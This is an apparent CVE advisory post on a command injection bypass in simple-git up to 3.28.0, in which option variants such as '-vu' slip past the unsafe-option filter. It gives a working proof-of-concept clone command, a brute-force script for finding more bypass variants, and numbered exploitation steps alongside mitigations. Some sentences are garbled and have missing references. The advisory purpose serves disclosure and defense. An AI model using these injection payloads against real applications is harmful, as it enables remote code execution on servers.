simple-git, Command Injection Bypass, N/A (critical)

Listen to this Post

The vulnerability arises from an incorrect patch for CVE-2022-25860 in simple-git versions ≤3.28.0.
The library allows JavaScript to run native Git commands. Some Git options (e.g., -u, --upload-pack) can execute arbitrary commands, so they are blocked unless `allowUnsafePack` is explicitly enabled.
The blocking logic resides in block-unsafe-operations-plugin.ts, which uses regex patterns to reject options like `-u` and --upload-pack.
However, Git’s option parsing is highly flexible. For example, `-u` can be combined with other characters or prefixes.
An attacker can bypass the filter by using variants such as -vu, --u, -4u, -lu, -nu, -qu, -su, or -vu.
These three‑character options are not matched by the existing regex and still cause Git to treat them as the equivalent of -u.
Consequently, an attacker who controls the options passed to `git.clone` or similar commands can execute arbitrary system commands.
The bypass works even when `allowUnsafePack` is explicitly set to false.
The issue was reproduced on Linux (WSL Docker) with Node v22.19.0, Git v2.39.5, and simple-git v3.28.0.

It was not reproduced on Windows 11.

The brute‑force method described in the discovered dozens of bypass patterns, and the author suggests infinitely many variants exist.
The core problem is that emulating Git’s full option‑parsing semantics inside the library is infeasible.
Thus, the vulnerability is likely present in all simple-git versions up to and including 3.28.0.
A Proof of Concept (PoC) clones a repository with an option like `[‘-vu’, ‘sh -c “touch /tmp/pwned”‘]` and successfully creates the file /tmp/pwned.

This demonstrates command execution despite the safe configuration.

The vulnerability continues a series of previous simple‑git CVEs (CVE‑2022‑24433, CVE‑2022‑24066, CVE‑2022‑25912, CVE‑2022‑25860).

dailycve form:

Platform: simple-git
Version: ≤3.28.0
Vulnerability: Command injection bypass
Severity: Critical
date: 2026-04-13

Prediction: No reliable patch expected

(end of form)

What Undercode Say:

Analytics:

  • The bypass exploits Git’s permissive option parsing, not a simple regex failure.
  • Attack surface: any application using simple-git with attacker‑controlled clone/push options.
  • The infinite variant space makes blacklisting impossible; a whitelist or sandbox is required.
  • Previous CVEs in same library indicate recurring design flaw.

Bash commands and codes:

Verify vulnerable version
npm list simple-git
Expected output: [email protected] or lower
Test PoC (Linux only)
mkdir testrepo1 && cd testrepo1 && git init && echo test > file && git add . && git commit -m "init" && cd ..
node -e "const {simpleGit}=require('simple-git'); simpleGit({unsafe:{allowUnsafePack:false}}).clone('./testrepo1','./testrepo2',['-vu','sh -c \"touch /tmp/pwned\"']).then(()=>console.log('done'))"
Check result: ls -la /tmp/pwned
Brute‑force finder (from )
cat > find-bypass.js << 'EOF'
const fs = require('fs'); const simpleGit = require('simple-git');
const TMP_DIR = './pwned/'; const ITER = 256;
function cleanTmpDir() { if (fs.existsSync(TMP_DIR)) fs.rmSync(TMP_DIR, { recursive: true, force: true }); fs.mkdirSync(TMP_DIR, { recursive: true }); }
async function runTest() { const git = simpleGit();
for (let i = 0; i < ITER; i++) try { await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i)+'-u', <code>sh -c "touch ${TMP_DIR}1_${i}"</code>]); } catch {}
for (let i = 0; i < ITER; i++) try { await git.clone('./testrepo1', './testrepo2', ['-'+String.fromCharCode(i)+'u', <code>sh -c "touch ${TMP_DIR}2_${i}"</code>]); } catch {}
for (let i = 0; i < ITER; i++) try { await git.clone('./testrepo1', './testrepo2', ['-u'+String.fromCharCode(i), <code>sh -c "touch ${TMP_DIR}3_${i}"</code>]); } catch {}
}
async function main() { cleanTmpDir(); await runTest(); for (let i=0;i<ITER;i++) { if(fs.existsSync(<code>${TMP_DIR}1_${i}</code>)) console.log(String.fromCharCode(i)+'-u'); if(fs.existsSync(<code>${TMP_DIR}2_${i}</code>)) console.log('-'+String.fromCharCode(i)+'u'); if(fs.existsSync(<code>${TMP_DIR}3_${i}</code>)) console.log('-u'+String.fromCharCode(i)); } }
main();
EOF
node find-bypass.js

How Exploit:

1. Identify a target application that uses simple-git with user‑controllable clone/push options.
2. Craft a Git option string that bypasses the unsafe operations plugin, e.g., -vu.
3. Append a shell command after the option, separated by whitespace.
4. Invoke the vulnerable method (e.g., git.clone) with the crafted array.
5. The command executes on the server with the privileges of the Node process.

Protection from this CVE:

  • Upgrade to a patched version if released (none as of this writing).
  • Avoid passing unsanitized user input as Git options to simple‑git.
  • Run the Node process in a restricted container or sandbox (e.g., gVisor, seccomp).
  • Use a different library that does not rely on blocking unsafe options, or fork Git via a secure wrapper.
  • Monitor the official simple‑git repository for future fixes (the author admits a complete fix is very difficult).

Impact:

  • Remote code execution (RCE) in any Node.js application that uses simple‑git ≤3.28.0 and allows an attacker to influence Git command options.
  • Confidentiality, integrity, and availability are fully compromised on the host system.
  • Attackers can exfiltrate data, install backdoors, or pivot to internal networks.
  • The vulnerability is especially severe because it bypasses the explicit `allowUnsafePack: false` safety flag.
  • All Linux deployments are affected; Windows 11 appears immune.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top